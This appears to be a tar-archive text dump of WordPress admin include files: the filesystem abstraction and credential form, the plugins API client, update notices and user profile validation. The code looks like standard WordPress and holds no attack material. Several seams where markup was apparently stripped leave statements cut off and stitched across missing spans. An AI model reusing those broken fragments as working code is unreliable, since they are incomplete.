return new WP_Error( 'mkdir_failed_move_dir', __( 'Could not create directory.' ), $to );
}
}
$result = copy_dir( $from, $to, array( basename( $to ) ) );
// Clear the source directory.
if ( true === $result ) {
$wp_filesystem->delete( $from, true );
}
return $result;
}
/**
* Initializes and connects the WordPress Filesystem Abstraction classes.
*
* This function will include the chosen transport and attempt connecting.
*
* Plugins may add extra transports, And force WordPress to use them by returning
* the filename via the {@see 'filesystem_method_file'} filter.
*
* @since 2.5.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param array|false $args Optional. Connection args, These are passed
* directly to the `WP_Filesystem_*()` classes.
* Default false.
* @param string|false $context Optional. Context for get_filesystem_method().
* Default false.
* @param bool $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
* Default false.
* @return bool|null True on success, false on failure,
* null if the filesystem method class file does not exist.
*/
function WP_Filesystem( $args = false, $context = false, $allow_relaxed_file_ownership = false ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
global $wp_filesystem;
require_once ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php';
$method = get_filesystem_method( $args, $context, $allow_relaxed_file_ownership );
if ( ! $method ) {
return false;
}
if ( ! class_exists( "WP_Filesystem_$method" ) ) {
/**
* Filters the path for a specific filesystem method class file.
*
* @since 2.6.0
*
* @see get_filesystem_method()
*
* @param string $path Path to the specific filesystem method class file.
* @param string $method The filesystem method to use.
*/
$abstraction_file = apply_filters( 'filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method );
if ( ! file_exists( $abstraction_file ) ) {
return;
}
require_once $abstraction_file;
}
$method = "WP_Filesystem_$method";
$wp_filesystem = new $method( $args );
/*
* Define the timeouts for the connections. Only available after the constructor is called
* to allow for per-transport overriding of the default.
*/
if ( ! defined( 'FS_CONNECT_TIMEOUT' ) ) {
define( 'FS_CONNECT_TIMEOUT', 30 ); // 30 seconds.
}
if ( ! defined( 'FS_TIMEOUT' ) ) {
define( 'FS_TIMEOUT', 30 ); // 30 seconds.
}
if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
return false;
}
if ( ! $wp_filesystem->connect() ) {
return false; // There was an error connecting to the server.
}
// Set the permission constants if not already set.
if ( ! defined( 'FS_CHMOD_DIR' ) ) {
define( 'FS_CHMOD_DIR', ( fileperms( ABSPATH ) & 0777 | 0755 ) );
}
if ( ! defined( 'FS_CHMOD_FILE' ) ) {
define( 'FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) );
}
return true;
}
/**
* Determines which method to use for reading, writing, modifying, or deleting
* files on the filesystem.
*
* The priority of the transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets
* (Via Sockets class, or `fsockopen()`). Valid values for these are: 'direct', 'ssh2',
* 'ftpext' or 'ftpsockets'.
*
* The return value can be overridden by defining the `FS_METHOD` constant in `wp-config.php`,
* or filtering via {@see 'filesystem_method'}.
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#wordpress-upgrade-constants
*
* Plugins may define a custom transport handler, See WP_Filesystem().
*
* @since 2.5.0
*
* @global callable $_wp_filesystem_direct_method
*
* @param array $args Optional. Connection details. Default empty array.
* @param string $context Optional. Full path to the directory that is tested
* for being writable. Default empty.
* @param bool $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
* Default false.
* @return string The transport to use, see description for valid return values.
*/
function get_filesystem_method( $args = array(), $context = '', $allow_relaxed_file_ownership = false ) {
// Please ensure that this is either 'direct', 'ssh2', 'ftpext', or 'ftpsockets'.
$method = defined( 'FS_METHOD' ) ? FS_METHOD : false;
if ( ! $context ) {
$context = WP_CONTENT_DIR;
}
// If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it.
if ( WP_LANG_DIR === $context && ! is_dir( $context ) ) {
$context = dirname( $context );
}
$context = trailingslashit( $context );
if ( ! $method ) {
$temp_file_name = $context . 'temp-write-test-' . str_replace( '.', '-', uniqid( '', true ) );
$temp_handle = @fopen( $temp_file_name, 'w' );
if ( $temp_handle ) {
// Attempt to determine the file owner of the WordPress files, and that of newly created files.
$wp_file_owner = false;
$temp_file_owner = false;
if ( function_exists( 'fileowner' ) ) {
$wp_file_owner = @fileowner( __FILE__ );
$temp_file_owner = @fileowner( $temp_file_name );
}
if ( false !== $wp_file_owner && $wp_file_owner === $temp_file_owner ) {
/*
* WordPress is creating files as the same owner as the WordPress files,
* this means it's safe to modify & create new files via PHP.
*/
$method = 'direct';
$GLOBALS['_wp_filesystem_direct_method'] = 'file_owner';
} elseif ( $allow_relaxed_file_ownership ) {
/*
* The $context directory is writable, and $allow_relaxed_file_ownership is set,
* this means we can modify files safely in this directory.
* This mode doesn't create new files, only alter existing ones.
*/
$method = 'direct';
$GLOBALS['_wp_filesystem_direct_method'] = 'relaxed_ownership';
}
fclose( $temp_handle );
@unlink( $temp_file_name );
}
}
if ( ! $method && isset( $args['connection_type'] ) && 'ssh' === $args['connection_type'] && extension_loaded( 'ssh2' ) ) {
$method = 'ssh2';
}
if ( ! $method && extension_loaded( 'ftp' ) ) {
$method = 'ftpext';
}
if ( ! $method && ( extension_loaded( 'sockets' ) || function_exists( 'fsockopen' ) ) ) {
$method = 'ftpsockets'; // Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread.
}
/**
* Filters the filesystem method to use.
*
* @since 2.6.0
*
* @param string $method Filesystem method to return.
* @param array $args An array of connection details for the method.
* @param string $context Full path to the directory that is tested for being writable.
* @param bool $allow_relaxed_file_ownership Whether to allow Group/World writable.
*/
return apply_filters( 'filesystem_method', $method, $args, $context, $allow_relaxed_file_ownership );
}
/**
* Displays a form to the user to request for their FTP/SSH details in order
* to connect to the filesystem.
*
* All chosen/entered details are saved, excluding the password.
*
* Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467)
* to specify an alternate FTP/SSH port.
*
* Plugins may override this form by returning true|false via the {@see 'request_filesystem_credentials'} filter.
*
* @since 2.5.0
* @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
*
* @global string $pagenow The filename of the current screen.
*
* @param string $form_post The URL to post the form to.
* @param string $type Optional. Chosen type of filesystem. Default empty.
* @param bool|WP_Error $error Optional. Whether the current request has failed
* to connect, or an error object. Default false.
* @param string $context Optional. Full path to the directory that is tested
* for being writable. Default empty.
* @param array $extra_fields Optional. Extra `POST` fields to be checked
* for inclusion in the post. Default null.
* @param bool $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
* Default false.
* @return bool|array True if no filesystem credentials are required,
* false if they are required but have not been provided,
* array of credentials if they are required and have been provided.
*/
function request_filesystem_credentials( $form_post, $type = '', $error = false, $context = '', $extra_fields = null, $allow_relaxed_file_ownership = false ) {
global $pagenow;
/**
* Filters the filesystem credentials.
*
* Returning anything other than an empty string will effectively short-circuit
* output of the filesystem credentials form, returning that value instead.
*
* A filter should return true if no filesystem credentials are required, false if they are required but have not been
* provided, or an array of credentials if they are required and have been provided.
*
* @since 2.5.0
* @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
*
* @param mixed $credentials Credentials to return instead. Default empty string.
* @param string $form_post The URL to post the form to.
* @param string $type Chosen type of filesystem.
* @param bool|WP_Error $error Whether the current request has failed to connect,
* or an error object.
* @param string $context Full path to the directory that is tested for
* being writable.
* @param array $extra_fields Extra POST fields.
* @param bool $allow_relaxed_file_ownership Whether to allow Group/World writable.
*/
$req_cred = apply_filters( 'request_filesystem_credentials', '', $form_post, $type, $error, $context, $extra_fields, $allow_relaxed_file_ownership );
if ( '' !== $req_cred ) {
return $req_cred;
}
if ( empty( $type ) ) {
$type = get_filesystem_method( array(), $context, $allow_relaxed_file_ownership );
}
if ( 'direct' === $type ) {
return true;
}
if ( is_null( $extra_fields ) ) {
$extra_fields = array( 'version', 'locale' );
}
$credentials = get_option(
'ftp_credentials',
array(
'hostname' => '',
'username' => '',
)
);
$submitted_form = wp_unslash( $_POST );
// Verify nonce, or unset submitted form field values on failure.
if ( ! isset( $_POST['_fs_nonce'] ) || ! wp_verify_nonce( $_POST['_fs_nonce'], 'filesystem-credentials' ) ) {
unset(
$submitted_form['hostname'],
$submitted_form['username'],
$submitted_form['password'],
$submitted_form['public_key'],
$submitted_form['private_key'],
$submitted_form['connection_type']
);
}
$ftp_constants = array(
'hostname' => 'FTP_HOST',
'username' => 'FTP_USER',
'password' => 'FTP_PASS',
'public_key' => 'FTP_PUBKEY',
'private_key' => 'FTP_PRIKEY',
);
/*
* If defined, set it to that. Else, if POST'd, set it to that. If not, set it to an empty string.
* Otherwise, keep it as it previously was (saved details in option).
*/
foreach ( $ftp_constants as $key => $constant ) {
if ( defined( $constant ) ) {
$credentials[ $key ] = constant( $constant );
} elseif ( ! empty( $submitted_form[ $key ] ) ) {
$credentials[ $key ] = $submitted_form[ $key ];
} elseif ( ! isset( $credentials[ $key ] ) ) {
$credentials[ $key ] = '';
}
}
// Sanitize the hostname, some people might pass in odd data.
$credentials['hostname'] = preg_replace( '|\w+://|', '', $credentials['hostname'] ); // Strip any schemes off.
if ( strpos( $credentials['hostname'], ':' ) ) {
list( $credentials['hostname'], $credentials['port'] ) = explode( ':', $credentials['hostname'], 2 );
if ( ! is_numeric( $credentials['port'] ) ) {
unset( $credentials['port'] );
}
} else {
unset( $credentials['port'] );
}
if ( ( defined( 'FTP_SSH' ) && FTP_SSH ) || ( defined( 'FS_METHOD' ) && 'ssh2' === FS_METHOD ) ) {
$credentials['connection_type'] = 'ssh';
} elseif ( ( defined( 'FTP_SSL' ) && FTP_SSL ) && 'ftpext' === $type ) { // Only the FTP Extension understands SSL.
$credentials['connection_type'] = 'ftps';
} elseif ( ! empty( $submitted_form['connection_type'] ) ) {
$credentials['connection_type'] = $submitted_form['connection_type'];
} elseif ( ! isset( $credentials['connection_type'] ) ) { // All else fails (and it's not defaulted to something else saved), default to FTP.
$credentials['connection_type'] = 'ftp';
}
if ( ! $error
&& ( ! empty( $credentials['hostname'] ) && ! empty( $credentials['username'] ) && ! empty( $credentials['password'] )
|| 'ssh' === $credentials['connection_type'] && ! empty( $credentials['public_key'] ) && ! empty( $credentials['private_key'] )
)
) {
$stored_credentials = $credentials;
if ( ! empty( $stored_credentials['port'] ) ) { // Save port as part of hostname to simplify above code.
$stored_credentials['hostname'] .= ':' . $stored_credentials['port'];
}
unset(
$stored_credentials['password'],
$stored_credentials['port'],
$stored_credentials['private_key'],
$stored_credentials['public_key']
);
if ( ! wp_installing() ) {
update_option( 'ftp_credentials', $stored_credentials, false );
}
return $credentials;
}
$hostname = isset( $credentials['hostname'] ) ? $credentials['hostname'] : '';
$username = isset( $credentials['username'] ) ? $credentials['username'] : '';
$public_key = isset( $credentials['public_key'] ) ? $credentials['public_key'] : '';
$private_key = isset( $credentials['private_key'] ) ? $credentials['private_key'] : '';
$port = isset( $credentials['port'] ) ? $credentials['port'] : '';
$connection_type = isset( $credentials['connection_type'] ) ? $credentials['connection_type'] : '';
if ( $error ) {
$error_string = __( 'Error: Could not connect to the server. Please verify the settings are correct.' );
if ( is_wp_error( $error ) ) {
$error_string = esc_html( $error->get_error_message() );
}
wp_admin_notice(
$error_string,
array(
'id' => 'message',
'additional_classes' => array( 'error' ),
)
);
}
$types = array();
if ( extension_loaded( 'ftp' ) || extension_loaded( 'sockets' ) || function_exists( 'fsockopen' ) ) {
$types['ftp'] = __( 'FTP' );
}
if ( extension_loaded( 'ftp' ) ) { // Only this supports FTPS.
$types['ftps'] = __( 'FTPS (SSL)' );
}
if ( extension_loaded( 'ssh2' ) ) {
$types['ssh'] = __( 'SSH2' );
}
/**
* Filters the connection types to output to the filesystem credentials form.
*
* @since 2.9.0
* @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
*
* @param string[] $types Types of connections.
* @param array $credentials Credentials to connect with.
* @param string $type Chosen filesystem method.
* @param bool|WP_Error $error Whether the current request has failed to connect,
* or an error object.
* @param string $context Full path to the directory that is tested for being writable.
*/
$types = apply_filters( 'fs_ftp_connection_types', $types, $credentials, $type, $error, $context );
?>
wp_opcache_invalidate_directory()'
);
wp_trigger_error( '', $error_message );
}
return;
}
$dirlist = $wp_filesystem->dirlist( $dir, false, true );
if ( empty( $dirlist ) ) {
return;
}
/*
* Recursively invalidate opcache of files in a directory.
*
* WP_Filesystem_*::dirlist() returns an array of file and directory information.
*
* This does not include a path to the file or directory.
* To invalidate files within sub-directories, recursion is needed
* to prepend an absolute path containing the sub-directory's name.
*
* @param array $dirlist Array of file/directory information from WP_Filesystem_Base::dirlist(),
* with sub-directories represented as nested arrays.
* @param string $path Absolute path to the directory.
*/
$invalidate_directory = static function ( $dirlist, $path ) use ( &$invalidate_directory ) {
$path = trailingslashit( $path );
foreach ( $dirlist as $name => $details ) {
if ( 'f' === $details['type'] ) {
wp_opcache_invalidate( $path . $name, true );
} elseif ( is_array( $details['files'] ) && ! empty( $details['files'] ) ) {
$invalidate_directory( $details['files'], $path . $name );
}
}
};
$invalidate_directory( $dirlist, $dir );
}
plugin-install.php 0000644 00000115062 14757313107 0010234 0 ustar 00 per_page ) ) {
$args->per_page = 24;
}
}
if ( ! isset( $args->locale ) ) {
$args->locale = get_user_locale();
}
if ( ! isset( $args->wp_version ) ) {
$args->wp_version = substr( wp_get_wp_version(), 0, 3 ); // x.y
}
/**
* Filters the WordPress.org Plugin Installation API arguments.
*
* Important: An object MUST be returned to this filter.
*
* @since 2.7.0
*
* @param object $args Plugin API arguments.
* @param string $action The type of information being requested from the Plugin Installation API.
*/
$args = apply_filters( 'plugins_api_args', $args, $action );
/**
* Filters the response for the current WordPress.org Plugin Installation API request.
*
* Returning a non-false value will effectively short-circuit the WordPress.org API request.
*
* If `$action` is 'query_plugins' or 'plugin_information', an object MUST be passed.
* If `$action` is 'hot_tags', an array should be passed.
*
* @since 2.7.0
*
* @param false|object|array $result The result object or array. Default false.
* @param string $action The type of information being requested from the Plugin Installation API.
* @param object $args Plugin API arguments.
*/
$res = apply_filters( 'plugins_api', false, $action, $args );
if ( false === $res ) {
$url = 'http://api.wordpress.org/plugins/info/1.2/';
$url = add_query_arg(
array(
'action' => $action,
'request' => $args,
),
$url
);
$http_url = $url;
$ssl = wp_http_supports( array( 'ssl' ) );
if ( $ssl ) {
$url = set_url_scheme( $url, 'https' );
}
$http_args = array(
'timeout' => 15,
'user-agent' => 'WordPress/' . wp_get_wp_version() . '; ' . home_url( '/' ),
);
$request = wp_remote_get( $url, $http_args );
if ( $ssl && is_wp_error( $request ) ) {
if ( ! wp_is_json_request() ) {
wp_trigger_error(
__FUNCTION__,
sprintf(
/* translators: %s: Support forums URL. */
__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ),
__( 'https://wordpress.org/support/forums/' )
) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
);
}
$request = wp_remote_get( $http_url, $http_args );
}
if ( is_wp_error( $request ) ) {
$res = new WP_Error(
'plugins_api_failed',
sprintf(
/* translators: %s: Support forums URL. */
__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ),
__( 'https://wordpress.org/support/forums/' )
),
$request->get_error_message()
);
} else {
$res = json_decode( wp_remote_retrieve_body( $request ), true );
if ( is_array( $res ) ) {
// Object casting is required in order to match the info/1.0 format.
$res = (object) $res;
} elseif ( null === $res ) {
$res = new WP_Error(
'plugins_api_failed',
sprintf(
/* translators: %s: Support forums URL. */
__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ),
__( 'https://wordpress.org/support/forums/' )
),
wp_remote_retrieve_body( $request )
);
}
if ( isset( $res->error ) ) {
$res = new WP_Error( 'plugins_api_failed', $res->error );
}
}
} elseif ( ! is_wp_error( $res ) ) {
$res->external = true;
}
/**
* Filters the Plugin Installation API response results.
*
* @since 2.7.0
*
* @param object|WP_Error $res Response object or WP_Error.
* @param string $action The type of information being requested from the Plugin Installation API.
* @param object $args Plugin API arguments.
*/
return apply_filters( 'plugins_api_result', $res, $action, $args );
}
/**
* Retrieves popular WordPress plugin tags.
*
* @since 2.7.0
*
* @param array $args
* @return array|WP_Error
*/
function install_popular_tags( $args = array() ) {
$key = md5( serialize( $args ) );
$tags = get_site_transient( 'poptags_' . $key );
if ( false !== $tags ) {
return $tags;
}
$tags = plugins_api( 'hot_tags', $args );
if ( is_wp_error( $tags ) ) {
return $tags;
}
set_site_transient( 'poptags_' . $key, $tags, 3 * HOUR_IN_SECONDS );
return $tags;
}
/**
* Displays the Featured tab of Add Plugins screen.
*
* @since 2.7.0
*/
function install_dashboard() {
display_plugins_table();
?>
';
if ( is_wp_error( $api_tags ) ) {
echo $api_tags->get_error_message();
} else {
// Set up the tags in a way which can be interpreted by wp_generate_tag_cloud().
$tags = array();
foreach ( (array) $api_tags as $tag ) {
$url = self_admin_url( 'plugin-install.php?tab=search&type=tag&s=' . urlencode( $tag['name'] ) );
$data = array(
'link' => esc_url( $url ),
'name' => $tag['name'],
'slug' => $tag['slug'],
'id' => sanitize_title_with_dashes( $tag['name'] ),
'count' => $tag['count'],
);
$tags[ $tag['name'] ] = (object) $data;
}
echo wp_generate_tag_cloud(
$tags,
array(
/* translators: %s: Number of plugins. */
'single_text' => __( '%s plugin' ),
/* translators: %s: Number of plugins. */
'multiple_text' => __( '%s plugins' ),
)
);
}
echo '
';
}
/**
* Displays a search form for searching plugins.
*
* @since 2.7.0
* @since 4.6.0 The `$type_selector` parameter was deprecated.
*
* @param bool $deprecated Not used.
*/
function install_search_form( $deprecated = true ) {
$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
$term = isset( $_REQUEST['s'] ) ? urldecode( wp_unslash( $_REQUEST['s'] ) ) : '';
?>
' . __( 'You are using a development version of WordPress. These feature plugins are also under development. Learn more.' ) . '',
'https://make.wordpress.org/core/handbook/about/release-cycle/features-as-plugins/'
);
break;
case 'install_plugins_featured':
printf(
/* translators: %s: https://wordpress.org/plugins/ */
'
' . __( 'Plugins extend and expand the functionality of WordPress. You may install plugins in the WordPress Plugin Directory right from here, or upload a plugin in .zip format by clicking the button at the top of this page.' ) . '
',
__( 'https://wordpress.org/plugins/' )
);
break;
case 'install_plugins_recommended':
echo '
' . __( 'These suggestions are based on the plugins you and other users have installed.' ) . '
', '' );
}
} elseif ( ! $compatible_wp ) {
printf(
/* translators: %s: Theme name. */
__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
$theme['Name']
);
if ( current_user_can( 'update_core' ) ) {
printf(
/* translators: %s: URL to WordPress Updates screen. */
' ' . __( 'Please update WordPress.' ),
self_admin_url( 'update-core.php' )
);
}
} elseif ( ! $compatible_php ) {
printf(
/* translators: %s: Theme name. */
__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
$theme['Name']
);
if ( current_user_can( 'update_php' ) ) {
printf(
/* translators: %s: URL to Update PHP page. */
' ' . __( 'Learn more about updating PHP.' ),
esc_url( wp_get_update_php_url() )
);
wp_update_php_annotation( '
', '' );
}
}
}
/**
* Fires at the end of the update message container in each
* row of the themes list table.
*
* The dynamic portion of the hook name, `$theme_key`, refers to
* the theme slug as found in the WordPress.org themes repository.
*
* @since 3.1.0
*
* @param WP_Theme $theme The WP_Theme object.
* @param array $response {
* An array of metadata about the available theme update.
*
* @type string $new_version New theme version.
* @type string $url Theme URL.
* @type string $package Theme update package URL.
* }
*/
do_action( "in_theme_update_message-{$theme_key}", $theme, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
echo '
';
}
/**
* Displays maintenance nag HTML message.
*
* @since 2.7.0
*
* @global int $upgrading
*
* @return void|false
*/
function maintenance_nag() {
global $upgrading;
$nag = isset( $upgrading );
if ( ! $nag ) {
$failed = get_site_option( 'auto_core_update_failed' );
/*
* If an update failed critically, we may have copied over version.php but not other files.
* In that case, if the installation claims we're running the version we attempted, nag.
* This is serious enough to err on the side of nagging.
*
* If we simply failed to update before we tried to copy any files, then assume things are
* OK if they are now running the latest.
*
* This flag is cleared whenever a successful update occurs using Core_Upgrader.
*/
$comparison = ! empty( $failed['critical'] ) ? '>=' : '>';
if ( isset( $failed['attempted'] ) && version_compare( $failed['attempted'], wp_get_wp_version(), $comparison ) ) {
$nag = true;
}
}
if ( ! $nag ) {
return false;
}
if ( current_user_can( 'update_core' ) ) {
$msg = sprintf(
/* translators: %s: URL to WordPress Updates screen. */
__( 'An automated WordPress update has failed to complete - please attempt the update again now.' ),
'update-core.php'
);
} else {
$msg = __( 'An automated WordPress update has failed to complete! Please notify the site administrator.' );
}
wp_admin_notice(
$msg,
array(
'type' => 'warning',
'additional_classes' => array( 'update-nag', 'inline' ),
'paragraph_wrap' => false,
)
);
}
/**
* Prints the JavaScript templates for update admin notices.
*
* @since 4.6.0
*
* Template takes one argument with four values:
*
* param {object} data {
* Arguments for admin notice.
*
* @type string id ID of the notice.
* @type string className Class names for the notice.
* @type string message The notice's message.
* @type string type The type of update the notice is for. Either 'plugin' or 'theme'.
* }
*/
function wp_print_admin_notice_templates() {
?>
Exit Recovery Mode' ),
esc_url( $url )
);
wp_admin_notice( $message, array( 'type' => 'info' ) );
}
/**
* Checks whether auto-updates are enabled.
*
* @since 5.5.0
*
* @param string $type The type of update being checked: Either 'theme' or 'plugin'.
* @return bool True if auto-updates are enabled for `$type`, false otherwise.
*/
function wp_is_auto_update_enabled_for_type( $type ) {
if ( ! class_exists( 'WP_Automatic_Updater' ) ) {
require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
}
$updater = new WP_Automatic_Updater();
$enabled = ! $updater->is_disabled();
switch ( $type ) {
case 'plugin':
/**
* Filters whether plugins auto-update is enabled.
*
* @since 5.5.0
*
* @param bool $enabled True if plugins auto-update is enabled, false otherwise.
*/
return apply_filters( 'plugins_auto_update_enabled', $enabled );
case 'theme':
/**
* Filters whether themes auto-update is enabled.
*
* @since 5.5.0
*
* @param bool $enabled True if themes auto-update is enabled, false otherwise.
*/
return apply_filters( 'themes_auto_update_enabled', $enabled );
}
return false;
}
/**
* Checks whether auto-updates are forced for an item.
*
* @since 5.6.0
*
* @param string $type The type of update being checked: Either 'theme' or 'plugin'.
* @param bool|null $update Whether to update. The value of null is internally used
* to detect whether nothing has hooked into this filter.
* @param object $item The update offer.
* @return bool True if auto-updates are forced for `$item`, false otherwise.
*/
function wp_is_auto_update_forced_for_item( $type, $update, $item ) {
/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
return apply_filters( "auto_update_{$type}", $update, $item );
}
/**
* Determines the appropriate auto-update message to be displayed.
*
* @since 5.5.0
*
* @return string The update message to be shown.
*/
function wp_get_auto_update_message() {
$next_update_time = wp_next_scheduled( 'wp_version_check' );
// Check if the event exists.
if ( false === $next_update_time ) {
$message = __( 'Automatic update not scheduled. There may be a problem with WP-Cron.' );
} else {
$time_to_next_update = human_time_diff( (int) $next_update_time );
// See if cron is overdue.
$overdue = ( time() - $next_update_time ) > 0;
if ( $overdue ) {
$message = sprintf(
/* translators: %s: Duration that WP-Cron has been overdue. */
__( 'Automatic update overdue by %s. There may be a problem with WP-Cron.' ),
$time_to_next_update
);
} else {
$message = sprintf(
/* translators: %s: Time until the next update. */
__( 'Automatic update scheduled in %s.' ),
$time_to_next_update
);
}
}
return $message;
}
user.php 0000644 00000055732 14757313107 0006257 0 ustar 00 ID = $user_id;
$userdata = get_userdata( $user_id );
$user->user_login = wp_slash( $userdata->user_login );
} else {
$update = false;
}
if ( ! $update && isset( $_POST['user_login'] ) ) {
$user->user_login = sanitize_user( wp_unslash( $_POST['user_login'] ), true );
}
$pass1 = '';
$pass2 = '';
if ( isset( $_POST['pass1'] ) ) {
$pass1 = trim( $_POST['pass1'] );
}
if ( isset( $_POST['pass2'] ) ) {
$pass2 = trim( $_POST['pass2'] );
}
if ( isset( $_POST['role'] ) && current_user_can( 'promote_users' ) && ( ! $user_id || current_user_can( 'promote_user', $user_id ) ) ) {
$new_role = sanitize_text_field( $_POST['role'] );
// If the new role isn't editable by the logged-in user die with error.
$editable_roles = get_editable_roles();
if ( ! empty( $new_role ) && empty( $editable_roles[ $new_role ] ) ) {
wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
}
$potential_role = isset( $wp_roles->role_objects[ $new_role ] ) ? $wp_roles->role_objects[ $new_role ] : false;
/*
* Don't let anyone with 'promote_users' edit their own role to something without it.
* Multisite super admins can freely edit their roles, they possess all caps.
*/
if (
( is_multisite() && current_user_can( 'manage_network_users' ) ) ||
get_current_user_id() !== $user_id ||
( $potential_role && $potential_role->has_cap( 'promote_users' ) )
) {
$user->role = $new_role;
}
}
if ( isset( $_POST['email'] ) ) {
$user->user_email = sanitize_text_field( wp_unslash( $_POST['email'] ) );
}
if ( isset( $_POST['url'] ) ) {
if ( empty( $_POST['url'] ) || 'http://' === $_POST['url'] ) {
$user->user_url = '';
} else {
$user->user_url = sanitize_url( $_POST['url'] );
$protocols = implode( '|', array_map( 'preg_quote', wp_allowed_protocols() ) );
$user->user_url = preg_match( '/^(' . $protocols . '):/is', $user->user_url ) ? $user->user_url : 'http://' . $user->user_url;
}
}
if ( isset( $_POST['first_name'] ) ) {
$user->first_name = sanitize_text_field( $_POST['first_name'] );
}
if ( isset( $_POST['last_name'] ) ) {
$user->last_name = sanitize_text_field( $_POST['last_name'] );
}
if ( isset( $_POST['nickname'] ) ) {
$user->nickname = sanitize_text_field( $_POST['nickname'] );
}
if ( isset( $_POST['display_name'] ) ) {
$user->display_name = sanitize_text_field( $_POST['display_name'] );
}
if ( isset( $_POST['description'] ) ) {
$user->description = trim( $_POST['description'] );
}
foreach ( wp_get_user_contact_methods( $user ) as $method => $name ) {
if ( isset( $_POST[ $method ] ) ) {
$user->$method = sanitize_text_field( $_POST[ $method ] );
}
}
if ( isset( $_POST['locale'] ) ) {
$locale = sanitize_text_field( $_POST['locale'] );
if ( 'site-default' === $locale ) {
$locale = '';
} elseif ( '' === $locale ) {
$locale = 'en_US';
} elseif ( ! in_array( $locale, get_available_languages(), true ) ) {
if ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
if ( ! wp_download_language_pack( $locale ) ) {
$locale = '';
}
} else {
$locale = '';
}
}
$user->locale = $locale;
}
if ( $update ) {
$user->rich_editing = isset( $_POST['rich_editing'] ) && 'false' === $_POST['rich_editing'] ? 'false' : 'true';
$user->syntax_highlighting = isset( $_POST['syntax_highlighting'] ) && 'false' === $_POST['syntax_highlighting'] ? 'false' : 'true';
$user->admin_color = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh';
$user->show_admin_bar_front = isset( $_POST['admin_bar_front'] ) ? 'true' : 'false';
}
$user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' === $_POST['comment_shortcuts'] ? 'true' : '';
$user->use_ssl = 0;
if ( ! empty( $_POST['use_ssl'] ) ) {
$user->use_ssl = 1;
}
$errors = new WP_Error();
/* checking that username has been typed */
if ( '' === $user->user_login ) {
$errors->add( 'user_login', __( 'Error: Please enter a username.' ) );
}
/* checking that nickname has been typed */
if ( $update && empty( $user->nickname ) ) {
$errors->add( 'nickname', __( 'Error: Please enter a nickname.' ) );
}
/**
* Fires before the password and confirm password fields are checked for congruity.
*
* @since 1.5.1
*
* @param string $user_login The username.
* @param string $pass1 The password (passed by reference).
* @param string $pass2 The confirmed password (passed by reference).
*/
do_action_ref_array( 'check_passwords', array( $user->user_login, &$pass1, &$pass2 ) );
// Check for blank password when adding a user.
if ( ! $update && empty( $pass1 ) ) {
$errors->add( 'pass', __( 'Error: Please enter a password.' ), array( 'form-field' => 'pass1' ) );
}
// Check for "\" in password.
if ( str_contains( wp_unslash( $pass1 ), '\\' ) ) {
$errors->add( 'pass', __( 'Error: Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) );
}
// Checking the password has been typed twice the same.
if ( ( $update || ! empty( $pass1 ) ) && $pass1 !== $pass2 ) {
$errors->add( 'pass', __( 'Error: Passwords do not match. Please enter the same password in both password fields.' ), array( 'form-field' => 'pass1' ) );
}
if ( ! empty( $pass1 ) ) {
$user->user_pass = $pass1;
}
if ( ! $update && isset( $_POST['user_login'] ) && ! validate_username( $_POST['user_login'] ) ) {
$errors->add( 'user_login', __( 'Error: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
}
if ( ! $update && username_exists( $user->user_login ) ) {
$errors->add( 'user_login', __( 'Error: This username is already registered. Please choose another one.' ) );
}
/** This filter is documented in wp-includes/user.php */
$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
if ( in_array( strtolower( $user->user_login ), array_map( 'strtolower', $illegal_logins ), true ) ) {
$errors->add( 'invalid_username', __( 'Error: Sorry, that username is not allowed.' ) );
}
// Checking email address.
if ( empty( $user->user_email ) ) {
$errors->add( 'empty_email', __( 'Error: Please enter an email address.' ), array( 'form-field' => 'email' ) );
} elseif ( ! is_email( $user->user_email ) ) {
$errors->add( 'invalid_email', __( 'Error: The email address is not correct.' ), array( 'form-field' => 'email' ) );
} else {
$owner_id = email_exists( $user->user_email );
if ( $owner_id && ( ! $update || ( $owner_id !== $user->ID ) ) ) {
$errors->add( 'email_exists', __( 'Error: This email is already registered. Please choose another one.' ), array( 'form-field' => 'email' ) );
}
}
/**
* Fires before user profile update errors are returned.
*
* @since 2.8.0
*
* @param WP_Error $errors WP_Error object (passed by reference).
* @param bool $update Whether this is a user update.
* @param stdClass $user User object (passed by reference).
*/
